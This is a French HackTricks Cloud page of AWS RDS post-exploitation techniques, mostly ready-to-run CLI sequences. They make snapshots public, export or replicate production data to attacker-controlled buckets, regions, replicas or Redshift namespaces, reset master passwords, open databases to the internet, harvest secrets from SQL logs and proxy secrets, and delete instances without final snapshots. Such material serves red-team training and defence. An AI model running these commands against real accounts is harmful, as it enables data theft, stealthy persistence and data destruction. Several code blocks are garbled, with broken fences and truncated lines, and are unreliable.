AWS - RDS Post Exploitation
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
RDS
Pour plus d’informations, consultez :
AWS - Relational Database (RDS) Enum
rds:CreateDBSnapshot, rds:RestoreDBInstanceFromDBSnapshot, rds:ModifyDBInstance
Si l’attaquant dispose de permissions suffisantes, il pourrait rendre une DB accessible publiquement en créant un snapshot de la DB, puis restaurer une DB accessible publiquement à partir du snapshot.
aws rds describe-db-instances # Get DB identifier
aws rds create-db-snapshot \
--db-instance-identifier <db-id> \
--db-snapshot-identifier cloudgoat
# Get subnet groups & security groups
aws rds describe-db-subnet-groups
aws ec2 describe-security-groups
aws rds restore-db-instance-from-db-snapshot \
--db-instance-identifier "new-db-not-malicious" \
--db-snapshot-identifier <scapshotId> \
--db-subnet-group-name <db subnet group> \
--publicly-accessible \
--vpc-security-group-ids <ec2-security group>
aws rds modify-db-instance \
--db-instance-identifier "new-db-not-malicious" \
--master-user-password 'Llaody2f6.123' \
--apply-immediately
# Connect to the new DB after a few mins
rds:StopDBCluster & rds:StopDBInstance
Un attaquant disposant de rds:StopDBCluster ou rds:StopDBInstance peut forcer l’arrêt immédiat d’une instance RDS ou d’un cluster entier, provoquant une indisponibilité de la base de données, des connexions rompues et l’interruption des processus qui dépendent de la base de données.
Pour arrêter une seule instance de DB (exemple) :
aws rds stop-db-instance \
--db-instance-identifier <DB_INSTANCE_IDENTIFIER>
Pour arrêter un cluster DB entier (exemple) :
aws rds stop-db-cluster \
--db-cluster-identifier <DB_CLUSTER_IDENTIFIER>
rds:Modify*
Un attaquant disposant des permissions rds:Modify* peut modifier des configurations critiques et des ressources auxiliaires (parameter groups, option groups, proxy endpoints and endpoint-groups, target groups, subnet groups, capacity settings, snapshot/cluster attributes, certificates, integrations, etc.) sans toucher directement l’instance ou le cluster. Des changements tels que l’ajustement des connection/time-out parameters, la modification d’un proxy endpoint, le changement des certificates de confiance, la modification de la capacité logique ou la reconfiguration d’un subnet group peuvent affaiblir la sécurité (ouvrir de nouveaux chemins d’accès), casser le routage et le load-balancing, invalider les replication/backup policies, et généralement dégrader la disponibilité ou la capacité de récupération. Ces modifications peuvent aussi faciliter une data exfiltration indirecte ou gêner une récupération ordonnée de la base de données après un incident.
Déplacer ou modifier les subnets assignés à un RDS subnet group :
aws rds modify-db-subnet-group \
--db-subnet-group-name <db-subnet-group-name> \
--subnet-ids <subnet-id-1> <subnet-id-2>
Modifier les paramètres bas niveau du moteur dans un cluster parameter group:
aws rds modify-db-cluster-parameter-group \
--db-cluster-parameter-group-name <parameter-group-name> \
--parameters "ParameterName=<parameter-name>,ParameterValue=<value>,ApplyMethod=immediate"
rds:Restore*
Un attaquant disposant des autorisations rds:Restore* peut restaurer des bases de données entières à partir de snapshots, de sauvegardes automatisées, de point-in-time recovery (PITR), ou de fichiers stockés dans S3, en créant de nouvelles instances ou clusters peuplés avec les données du point sélectionné. Ces opérations n’écrasent pas les ressources originales — elles créent de nouveaux objets contenant les données historiques — ce qui permet à un attaquant d’obtenir des copies complètes et fonctionnelles de la base de données (issues de points temporels passés ou de fichiers S3 externes) et de les utiliser pour exfiltrer des données, manipuler des enregistrements historiques ou reconstruire des états antérieurs.
Restaurer une instance DB à un point précis dans le temps :
aws rds restore-db-instance-to-point-in-time \
--source-db-instance-identifier <source-db-instance-identifier> \
--target-db-instance-identifier <target-db-instance-identifier> \
--restore-time "<restore-time-ISO8601>" \
--db-instance-class <db-instance-class> \
--publicly-accessible --no-multi-az
rds:Delete*
Un attaquant auquel on a accordé rds:Delete* peut supprimer des ressources RDS, supprimant des instances DB, des clusters, des snapshots, des sauvegardes automatisées, des groupes de sous-réseaux, des groupes de paramètres/options et des artefacts associés, provoquant une interruption de service immédiate, une perte de données, la destruction des points de récupération et la perte de preuves médico-légales.
# Delete a DB instance (creates a final snapshot unless you skip it)
aws rds delete-db-instance \
--db-instance-identifier <DB_INSTANCE_ID> \
--final-db-snapshot-identifier <FINAL_SNAPSHOT_ID> # omit or replace with --skip-final-snapshot to avoid snapshot
# Delete a DB instance and skip final snapshot (more destructive)
aws rds delete-db-instance \
--db-instance-identifier <DB_INSTANCE_ID> \
--skip-final-snapshot
# Delete a manual DB snapshot
aws rds delete-db-snapshot \
--db-snapshot-identifier <DB_SNAPSHOT_ID>
# Delete an Aurora DB cluster (creates a final snapshot unless you skip)
aws rds delete-db-cluster \
--db-cluster-identifier <DB_CLUSTER_ID> \
--final-db-snapshot-identifier <FINAL_CLUSTER_SNAPSHOT_ID> # or use --skip-final-snapshot
rds:ModifyDBSnapshotAttribute, rds:CreateDBSnapshot
Un attaquant disposant de ces permissions pourrait créer un snapshot d’une DB et le rendre publiquement accessible. Ensuite, il pourrait simplement créer dans son propre compte une DB à partir de ce snapshot.
Si l’attaquant ne possède pas la permission rds:CreateDBSnapshot, il pourrait quand même rendre d’autres snapshots créés publics.
# create snapshot
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>
# Make it public/share with attackers account
aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
## Specify account IDs instead of "all" to give access only to a specific account: --values-to-add {"111122223333","444455556666"}
rds:DownloadDBLogFilePortion
Un attaquant disposant de la permission rds:DownloadDBLogFilePortion peut télécharger des portions des fichiers journaux d’une instance RDS. Si des données sensibles ou des identifiants d’accès sont enregistrés accidentellement, l’attaquant pourrait potentiellement utiliser ces informations pour élever ses privilèges ou effectuer des actions non autorisées.
aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
Impact potentiel: Accès à des informations sensibles ou actions non autorisées en utilisant leaked credentials.
rds:DeleteDBInstance
Un attaquant disposant de ces autorisations peut DoS existing RDS instances.
# Delete
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
Potential impact: Suppression des instances RDS existantes et perte potentielle de données.
rds:StartExportTask
Note
TODO: Tester
Un attaquant disposant de cette permission peut exporter un snapshot d’une instance RDS vers un bucket S3. Si l’attaquant contrôle le bucket S3 de destination, il peut potentiellement accéder à des données sensibles contenues dans le snapshot exporté.
aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
Impact potentiel: Accès à des données sensibles dans le snapshot exporté.
Cross-Region Automated Backups Replication for Stealthy Restore (rds:StartDBInstanceAutomatedBackupsReplication)
Abusez de la réplication des sauvegardes automatisées inter-région pour dupliquer discrètement les sauvegardes automatisées d’une instance RDS dans une autre région AWS et y restaurer la base. L’attaquant peut ensuite rendre la DB restaurée accessible publiquement et réinitialiser le mot de passe master pour accéder aux données hors bande dans une région que les défenseurs pourraient ne pas surveiller.
Permissions requises (minimum) :
rds:StartDBInstanceAutomatedBackupsReplicationdans la région de destinationrds:DescribeDBInstanceAutomatedBackupsdans la région de destinationrds:RestoreDBInstanceToPointInTimedans la région de destinationrds:ModifyDBInstancedans la région de destinationrds:StopDBInstanceAutomatedBackupsReplication(nettoyage optionnel)ec2:CreateSecurityGroup,ec2:AuthorizeSecurityGroupIngress(pour exposer la DB restaurée)
Impact : Persistance et exfiltration de données en restaurant une copie des données de production dans une autre région et en l’exposant publiquement avec des identifiants contrôlés par l’attaquant.
CLI de bout en bout (remplacez les espaces réservés)
```bash # 1) Recon (SOURCE region A) aws rds describe-db-instances \ --region2) Start cross-Region automated backups replication (run in DEST region B)
aws rds start-db-instance-automated-backups-replication
–region <DEST_REGION>
–source-db-instance-arn <SOURCE_DB_INSTANCE_ARN>
–source-region <SOURCE_REGION>
–backup-retention-period 7
3) Wait for replication to be ready in DEST
aws rds describe-db-instance-automated-backups
–region <DEST_REGION>
–query ‘DBInstanceAutomatedBackups[*].[DBInstanceAutomatedBackupsArn,DBInstanceIdentifier,Status]’
–output table
Proceed when Status is “replicating” or “active” and note the DBInstanceAutomatedBackupsArn
4) Restore to latest restorable time in DEST
aws rds restore-db-instance-to-point-in-time
–region <DEST_REGION>
–source-db-instance-automated-backups-arn <AUTO_BACKUP_ARN>
–target-db-instance-identifier <TARGET_DB_ID>
–use-latest-restorable-time
–db-instance-class db.t3.micro
aws rds wait db-instance-available –region <DEST_REGION> –db-instance-identifier <TARGET_DB_ID>
5) Make public and reset credentials in DEST
5a) Create/choose an open SG permitting TCP/3306 (adjust engine/port as needed)
OPEN_SG_ID=$(aws ec2 create-security-group –region <DEST_REGION>
–group-name open-rds-
–query GroupId –output text)
aws ec2 authorize-security-group-ingress –region <DEST_REGION>
–group-id “$OPEN_SG_ID”
–ip-permissions IpProtocol=tcp,FromPort=3306,ToPort=3306,IpRanges=‘[{CidrIp=0.0.0.0/0}]’
5b) Publicly expose restored DB and attach the SG
aws rds modify-db-instance –region <DEST_REGION>
–db-instance-identifier <TARGET_DB_ID>
–publicly-accessible
–vpc-security-group-ids “$OPEN_SG_ID”
–apply-immediately
aws rds wait db-instance-available –region <DEST_REGION> –db-instance-identifier <TARGET_DB_ID>
5c) Reset the master password
aws rds modify-db-instance –region <DEST_REGION>
–db-instance-identifier <TARGET_DB_ID>
–master-user-password ‘<NEW_STRONG_PASSWORD>’
–apply-immediately
aws rds wait db-instance-available –region <DEST_REGION> –db-instance-identifier <TARGET_DB_ID>
6) Connect to <TARGET_DB_ID> endpoint and validate data (example for MySQL)
ENDPOINT=$(aws rds describe-db-instances –region <DEST_REGION>
–db-instance-identifier <TARGET_DB_ID>
–query ‘DBInstances[0].Endpoint.Address’ –output text)
mysql -h “$ENDPOINT” -u <MASTER_USERNAME> -p’<NEW_STRONG_PASSWORD>’ -e ‘SHOW DATABASES;’
7) Optional: stop replication
aws rds stop-db-instance-automated-backups-replication
–region <DEST_REGION>
–source-db-instance-arn <SOURCE_DB_INSTANCE_ARN>
</details>
### Activer la journalisation SQL complète via DB parameter groups et exfiltrer via RDS log APIs
Exploiter `rds:ModifyDBParameterGroup` avec les RDS log download APIs pour capturer toutes les instructions SQL exécutées par les applications (aucun identifiant du moteur DB requis). Activer la journalisation SQL du moteur et récupérer les fichiers de logs via `rds:DescribeDBLogFiles` et `rds:DownloadDBLogFilePortion` (ou le REST `downloadCompleteLogFile`). Utile pour collecter des requêtes pouvant contenir des secrets/PII/JWTs.
Permissions requises (minimum) :
- `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion`
- `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup`
- `rds:ModifyDBInstance` (uniquement pour attacher un parameter group personnalisé si l'instance utilise celui par défaut)
- `rds:RebootDBInstance` (pour les paramètres nécessitant un redémarrage, par ex., PostgreSQL)
Étapes
1) Recon de la cible et du parameter group actuel
```bash
aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \
--output table
- Assurez-vous qu’un DB parameter group personnalisé est attaché (impossible de modifier le paramètre par défaut)
- Si l’instance utilise déjà un DB parameter group personnalisé, réutilisez son nom à l’étape suivante.
- Sinon, créez et attachez-en un correspondant à la famille du moteur :
# Example for PostgreSQL 16
aws rds create-db-parameter-group \
--db-parameter-group-name ht-logs-pg \
--db-parameter-group-family postgres16 \
--description "HT logging"
aws rds modify-db-instance \
--db-instance-identifier <DB> \
--db-parameter-group-name ht-logs-pg \
--apply-immediately
# Wait until status becomes "available"
- Activer la journalisation SQL détaillée
- MySQL engines (immédiat / sans redémarrage):
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=general_log,ParameterValue=1,ApplyMethod=immediate" \
"ParameterName=log_output,ParameterValue=FILE,ApplyMethod=immediate"
# Optional extras:
# "ParameterName=slow_query_log,ParameterValue=1,ApplyMethod=immediate" \
# "ParameterName=long_query_time,ParameterValue=0,ApplyMethod=immediate"
- Moteurs PostgreSQL (redémarrage nécessaire) :
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=log_statement,ParameterValue=all,ApplyMethod=pending-reboot"
# Optional to log duration for every statement:
# "ParameterName=log_min_duration_statement,ParameterValue=0,ApplyMethod=pending-reboot"
# Reboot if any parameter is pending-reboot
aws rds reboot-db-instance --db-instance-identifier <DB>
- Laisser la charge de travail s’exécuter (ou générer des requêtes). Les statements seront consignés dans les fichiers de logs du moteur
- MySQL:
general/mysql-general.log - PostgreSQL:
postgresql.log
- Découvrir et télécharger les logs (aucun identifiant DB requis)
aws rds describe-db-log-files --db-instance-identifier <DB>
# Pull full file via portions (iterate until AdditionalDataPending=false). For small logs a single call is enough:
aws rds download-db-log-file-portion \
--db-instance-identifier <DB> \
--log-file-name general/mysql-general.log \
--starting-token 0 \
--output text > dump.log
- Analyser hors ligne pour des données sensibles
grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | sed 's/\(aws_access_key_id=\)[A-Z0-9]*/\1AKIA.../; s/\(secret=\).*/\1REDACTED/; s/\(Bearer \).*/\1REDACTED/' | head
Exemple de preuve (caviardée) :
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('user=alice password=Sup3rS3cret!')
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('authorization: Bearer REDACTED')
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('aws_access_key_id=AKIA... secret=REDACTED')
Nettoyage
- Rétablir les paramètres par défaut et redémarrer si nécessaire :
# MySQL
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=general_log,ParameterValue=0,ApplyMethod=immediate"
# PostgreSQL
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot"
# Reboot if pending-reboot
Impact : Accès aux données post-exploitation en capturant toutes les instructions SQL de l’application via les APIs AWS (no DB creds), potentially leaking secrets, JWTs, and PII.
rds:CreateDBInstanceReadReplica, rds:ModifyDBInstance
Exploiter les read replicas RDS pour obtenir un accès en lecture hors-bande sans toucher aux credentials de l’instance primary. Un attaquant peut créer une read replica à partir d’une instance de production, réinitialiser le master password de la replica (cela ne change pas celui du primary), et éventuellement exposer la replica publiquement pour exfiltrate data.
Permissions requises (minimum) :
rds:DescribeDBInstancesrds:CreateDBInstanceReadReplicards:ModifyDBInstanceec2:CreateSecurityGroup,ec2:AuthorizeSecurityGroupIngress(si exposition publique)
Impact : Accès en lecture seule aux données de production via une replica avec des credentials contrôlés par l’attaquant ; probabilité de détection plus faible car le primary reste intact et la replication continue.
# 1) Recon: find non-Aurora sources with backups enabled
aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBInstanceArn,DBSubnetGroup.DBSubnetGroupName,VpcSecurityGroups[0].VpcSecurityGroupId,PubliclyAccessible]' \
--output table
# 2) Create a permissive SG (replace <VPC_ID> and <YOUR_IP/32>)
aws ec2 create-security-group --group-name rds-repl-exfil --description 'RDS replica exfil' --vpc-id <VPC_ID> --query GroupId --output text
aws ec2 authorize-security-group-ingress --group-id <SGID> --ip-permissions '[{"IpProtocol":"tcp","FromPort":3306,"ToPort":3306,"IpRanges":[{"CidrIp":"<YOUR_IP/32>","Description":"tester"}]}]'
# 3) Create the read replica (optionally public)
aws rds create-db-instance-read-replica \
--db-instance-identifier <REPL_ID> \
--source-db-instance-identifier <SOURCE_DB> \
--db-instance-class db.t3.medium \
--publicly-accessible \
--vpc-security-group-ids <SGID>
aws rds wait db-instance-available --db-instance-identifier <REPL_ID>
# 4) Reset ONLY the replica master password (primary unchanged)
aws rds modify-db-instance --db-instance-identifier <REPL_ID> --master-user-password 'NewStr0ng!Passw0rd' --apply-immediately
aws rds wait db-instance-available --db-instance-identifier <REPL_ID>
# 5) Connect and dump (use the SOURCE master username + NEW password)
REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier <REPL_ID> --query 'DBInstances[0].Endpoint.Address' --output text)
# e.g., with mysql client: mysql -h "$REPL_ENDPOINT" -u <MASTER_USERNAME> -p'NewStr0ng!Passw0rd' -e 'SHOW DATABASES; SELECT @@read_only, CURRENT_USER();'
# Optional: promote for persistence
# aws rds promote-read-replica --db-instance-identifier <REPL_ID>
Exemple de preuves (MySQL) :
- Statut de la DB répliquée :
available, réplication en lecture :replicating - Connexion réussie avec le nouveau mot de passe et
@@read_only=1confirmant l’accès en lecture seule à la réplique.
rds:CreateBlueGreenDeployment, rds:ModifyDBInstance
Exploiter RDS Blue/Green pour cloner une DB de production dans un environnement green continuellement répliqué en lecture seule. Puis réinitialiser les identifiants du master green pour accéder aux données sans toucher à l’instance blue (prod). C’est plus discret que le snapshot sharing et contourne souvent la surveillance qui ne se concentre que sur la source.
# 1) Recon – find eligible source (non‑Aurora MySQL/PostgreSQL in the same account)
aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,DBInstanceArn,Engine,EngineVersion,DBSubnetGroup.DBSubnetGroupName,PubliclyAccessible]'
# Ensure: automated backups enabled on source (BackupRetentionPeriod > 0), no RDS Proxy, supported engine/version
# 2) Create Blue/Green deployment (replicates blue->green continuously)
aws rds create-blue-green-deployment \
--blue-green-deployment-name ht-bgd-attack \
--source <BLUE_DB_ARN> \
# Optional to upgrade: --target-engine-version <same-or-higher-compatible>
# Wait until deployment Status becomes AVAILABLE, then note the green DB id
aws rds describe-blue-green-deployments \
--blue-green-deployment-identifier <BGD_ID> \
--query 'BlueGreenDeployments[0].SwitchoverDetails[0].TargetMember'
# Typical green id: <blue>-green-XXXX
# 3) Reset the green master password (does not affect blue)
aws rds modify-db-instance \
--db-instance-identifier <GREEN_DB_ID> \
--master-user-password 'Gr33n!Exfil#1' \
--apply-immediately
# Optional: expose the green for direct access (attach an SG that allows the DB port)
aws rds modify-db-instance \
--db-instance-identifier <GREEN_DB_ID> \
--publicly-accessible \
--vpc-security-group-ids <SG_ALLOWING_DB_PORT> \
--apply-immediately
# 4) Connect to the green endpoint and query/exfiltrate (green is read‑only)
aws rds describe-db-instances \
--db-instance-identifier <GREEN_DB_ID> \
--query 'DBInstances[0].Endpoint.Address' --output text
# Then connect with the master username and the new password and run SELECT/dumps
# e.g. MySQL: mysql -h <endpoint> -u <master_user> -p'Gr33n!Exfil#1'
# 5) Cleanup – remove blue/green and the green resources
aws rds delete-blue-green-deployment \
--blue-green-deployment-identifier <BGD_ID> \
--delete-target true
Impact : Accès en lecture seule mais accès complet aux données d’un clone de production quasi temps réel sans modifier l’instance de production. Utile pour l’extraction discrète de données et l’analyse hors ligne.
SQL hors-bande via RDS Data API en activant l’HTTP endpoint + réinitialisation du mot de passe principal
Abusez d’Aurora pour activer l’HTTP endpoint du RDS Data API sur un cluster cible, réinitialiser le mot de passe principal vers une valeur que vous contrôlez, et exécuter du SQL via HTTPS (aucun chemin réseau VPC requis). Fonctionne sur les moteurs Aurora qui prennent en charge le Data API/EnableHttpEndpoint (e.g., Aurora MySQL 8.0 provisioned; certaines versions d’Aurora PostgreSQL/MySQL).
Permissions (minimales):
- rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint)
- secretsmanager:CreateSecret
- rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used)
Impact : Contourne la segmentation réseau et exfiltre des données via les APIs AWS sans connectivité VPC directe vers la DB.
CLI de bout en bout (exemple Aurora MySQL)
```bash # 1) Identify target cluster ARN REGION=us-east-1 CLUSTER_ID=2) Enable Data API HTTP endpoint on the cluster
Either of the following (depending on API/engine support):
aws rds enable-http-endpoint –region $REGION –resource-arn “$CLUSTER_ARN”
or
aws rds modify-db-cluster –region $REGION –db-cluster-identifier $CLUSTER_ID
–enable-http-endpoint –apply-immediately
Wait until HttpEndpointEnabled is True
aws rds wait db-cluster-available –region $REGION –db-cluster-identifier $CLUSTER_ID
aws rds describe-db-clusters –region $REGION –db-cluster-identifier $CLUSTER_ID
–query ‘DBClusters[0].HttpEndpointEnabled’ –output text
3) Reset master password to attacker-controlled value
aws rds modify-db-cluster –region $REGION –db-cluster-identifier $CLUSTER_ID
–master-user-password ‘Sup3rStr0ng!1’ –apply-immediately
Wait until pending password change is applied
while :; do
aws rds wait db-cluster-available –region $REGION –db-cluster-identifier $CLUSTER_ID
P=$(aws rds describe-db-clusters –region $REGION –db-cluster-identifier $CLUSTER_ID
–query ‘DBClusters[0].PendingModifiedValues.MasterUserPassword’ –output text)
[[ “$P” == “None” || “$P” == “null” ]] && break
sleep 10
done
4) Create a Secrets Manager secret for Data API auth
SECRET_ARN=$(aws secretsmanager create-secret –region $REGION –name rdsdata/demo-$CLUSTER_ID
–secret-string ‘{“username”:“admin”,“password”:“Sup3rStr0ng!1”}’
–query ARN –output text)
5) Prove out-of-band SQL via HTTPS using rds-data
(Example with Aurora MySQL; for PostgreSQL, adjust SQL and username accordingly)
aws rds-data execute-statement –region $REGION –resource-arn “$CLUSTER_ARN”
–secret-arn “$SECRET_ARN” –database mysql –sql “create database if not exists demo;”
aws rds-data execute-statement –region $REGION –resource-arn “$CLUSTER_ARN”
–secret-arn “$SECRET_ARN” –database demo –sql “create table if not exists pii(note text);”
aws rds-data execute-statement –region $REGION –resource-arn “$CLUSTER_ARN”
–secret-arn “$SECRET_ARN” –database demo –sql “insert into pii(note) values (‘token=SECRET_JWT’);”
aws rds-data execute-statement –region $REGION –resource-arn “$CLUSTER_ARN”
–secret-arn “$SECRET_ARN” –database demo –sql “select current_user(), now(), (select count(*) from pii) as row_count;”
–format-records-as JSON
</details>
Remarques :
- Si les requêtes SQL multi-instructions sont rejetées par rds-data, lancez des appels execute-statement séparés.
- Pour les moteurs où modify-db-cluster --enable-http-endpoint n'a aucun effet, utilisez rds enable-http-endpoint --resource-arn.
- Assurez-vous que le moteur/version prend réellement en charge la Data API ; sinon HttpEndpointEnabled restera False.
### Récupérer les identifiants DB via les secrets d'authentification RDS Proxy (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
Abusez la configuration RDS Proxy pour découvrir le secret Secrets Manager utilisé pour l'authentification côté backend, puis lisez le secret pour obtenir les identifiants de la base de données. De nombreux environnements accordent largement `secretsmanager:GetSecretValue`, ce qui en fait un pivot à faible friction vers les identifiants DB. Si le secret utilise une CMK, des permissions KMS mal limitées peuvent également permettre `kms:Decrypt`.
Permissions requises (minimum) :
- `rds:DescribeDBProxies`
- `secretsmanager:GetSecretValue` sur le SecretArn référencé
- Optionnel si le secret utilise une CMK : `kms:Decrypt` sur cette clé
Impact : divulgation immédiate du nom d'utilisateur/mot de passe DB configuré sur le proxy ; permet un accès direct à la DB ou des mouvements latéraux supplémentaires.
Étapes
```bash
# 1) Enumerate proxies and extract the SecretArn used for auth
aws rds describe-db-proxies \
--query DBProxies[*].[DBProxyName,Auth[0].AuthScheme,Auth[0].SecretArn] \
--output table
# 2) Read the secret value (common over-permission)
aws secretsmanager get-secret-value \
--secret-id <SecretArnFromProxy> \
--query SecretString --output text
# Example output: {"username":"admin","password":"S3cr3t!"}
Laboratoire (minimal pour reproduire)
REGION=us-east-1
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
SECRET_ARN=$(aws secretsmanager create-secret \
--region $REGION --name rds/proxy/aurora-demo \
--secret-string username:admin \
--query ARN --output text)
aws iam create-role --role-name rds-proxy-secret-role \
--assume-role-policy-document Version:2012-10-17
aws iam attach-role-policy --role-name rds-proxy-secret-role \
--policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite
aws rds create-db-proxy --db-proxy-name p0 --engine-family MYSQL \
--auth [AuthScheme:SECRETS] \
--role-arn arn:aws:iam::$ACCOUNT_ID:role/rds-proxy-secret-role \
--vpc-subnet-ids $(aws ec2 describe-subnets --filters Name=default-for-az,Values=true --query Subnets[].SubnetId --output text)
aws rds wait db-proxy-available --db-proxy-name p0
# Now run the enumeration + secret read from the Steps above
Nettoyage (lab)
aws rds delete-db-proxy --db-proxy-name p0
aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite
aws iam delete-role --role-name rds-proxy-secret-role
aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delete-without-recovery
Stealthy continuous exfiltration via Aurora zero‑ETL to Amazon Redshift (rds:CreateIntegration)
Exploiter l’intégration zero‑ETL d’Aurora PostgreSQL pour répliquer en continu les données de production dans un namespace Redshift Serverless que vous contrôlez. Avec une resource policy Redshift permissive autorisant CreateInboundIntegration/AuthorizeInboundIntegration pour un ARN de cluster Aurora spécifique, un attaquant peut établir une copie des données quasi temps‑réel sans DB creds, snapshots ni exposition réseau.
Permissions nécessaires (minimum) :
rds:CreateIntegration,rds:DescribeIntegrations,rds:DeleteIntegrationredshift:PutResourcePolicy,redshift:DescribeInboundIntegrations,redshift:DescribeIntegrationsredshift-data:ExecuteStatement/GetStatementResult/ListDatabases(to query)rds-data:ExecuteStatement(optional; to seed data if needed)
Testé sur : us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.
1) Créer un namespace Redshift Serverless + workgroup
```bash REGION=us-east-1 RS_NS_ARN=$(aws redshift-serverless create-namespace --region $REGION --namespace-name ztl-ns \ --admin-username adminuser --admin-user-password 'AdminPwd-1!' \ --query namespace.namespaceArn --output text) RS_WG_ARN=$(aws redshift-serverless create-workgroup --region $REGION --workgroup-name ztl-wg \ --namespace-name ztl-ns --base-capacity 8 --publicly-accessible \ --query workgroup.workgroupArn --output text) # Wait until AVAILABLE, then enable case sensitivity (required for PostgreSQL) aws redshift-serverless update-workgroup --region $REGION --workgroup-name ztl-wg \ --config-parameters parameterKey=enable_case_sensitive_identifier,parameterValue=true ```2) Configurer la politique de ressources de Redshift pour autoriser la source Aurora
```bash ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text) SRC_ARN=3) Créer un cluster Aurora PostgreSQL (activer Data API et réplication logique)
```bash CLUSTER_ID=aurora-ztl aws rds create-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \ --engine aurora-postgresql --engine-version 16.4 \ --master-username postgres --master-user-password 'InitPwd-1!' \ --enable-http-endpoint --no-deletion-protection --backup-retention-period 1 aws rds wait db-cluster-available --region $REGION --db-cluster-identifier $CLUSTER_ID # Serverless v2 instance aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \ --serverless-v2-scaling-configuration MinCapacity=0.5,MaxCapacity=1 --apply-immediately aws rds create-db-instance --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 \ --db-instance-class db.serverless --engine aurora-postgresql --db-cluster-identifier $CLUSTER_ID aws rds wait db-instance-available --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 # Cluster parameter group for zero‑ETL aws rds create-db-cluster-parameter-group --region $REGION --db-cluster-parameter-group-name apg16-ztl-zerodg \ --db-parameter-group-family aurora-postgresql16 --description "APG16 zero-ETL params" aws rds modify-db-cluster-parameter-group --region $REGION --db-cluster-parameter-group-name apg16-ztl-zerodg --parameters \ ParameterName=rds.logical_replication,ParameterValue=1,ApplyMethod=pending-reboot \ ParameterName=aurora.enhanced_logical_replication,ParameterValue=1,ApplyMethod=pending-reboot \ ParameterName=aurora.logical_replication_backup,ParameterValue=0,ApplyMethod=pending-reboot \ ParameterName=aurora.logical_replication_globaldb,ParameterValue=0,ApplyMethod=pending-reboot aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \ --db-cluster-parameter-group-name apg16-ztl-zerodg --apply-immediately aws rds reboot-db-instance --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 aws rds wait db-instance-available --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 SRC_ARN=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier $CLUSTER_ID --query 'DBClusters[0].DBClusterArn' --output text) ```4) Créer l'intégration zero‑ETL depuis RDS
```bash # Include all tables in the default 'postgres' database aws rds create-integration --region $REGION --source-arn "$SRC_ARN" \ --target-arn "$RS_NS_ARN" --integration-name ztl-demo \ --data-filter 'include: postgres.*.*' # Redshift inbound integration should become ACTIVE aws redshift describe-inbound-integrations --region $REGION --target-arn "$RS_NS_ARN" ```5) Matérialiser et interroger les données répliquées dans Redshift
```bash # Create a Redshift database from the inbound integration (use integration_id from SVV_INTEGRATION) aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \ --sql "select integration_id from svv_integration" # take the GUID value aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \ --sql "create database ztl_db from integration 'Preuves observées lors du test :
- redshift describe-inbound-integrations : Statut ACTIVE pour l’intégration arn:…377a462b-…
- SVV_INTEGRATION a montré integration_id 377a462b-c42c-4f08-937b-77fe75d98211 et l’état PendingDbConnectState avant la création de la DB.
- Après CREATE DATABASE FROM INTEGRATION, lister les tables a révélé le schéma ztl et la table customers ; une sélection depuis ztl.customers a retourné 2 lignes (Alice, Bob).
Impact : exfiltration continue quasi‑temps réel de tables Aurora PostgreSQL sélectionnées vers Redshift Serverless contrôlé par l’attaquant, sans utiliser d’identifiants de base de données, de sauvegardes, ou d’accès réseau au cluster source.
Tip
Apprenez et pratiquez le hacking AWS :
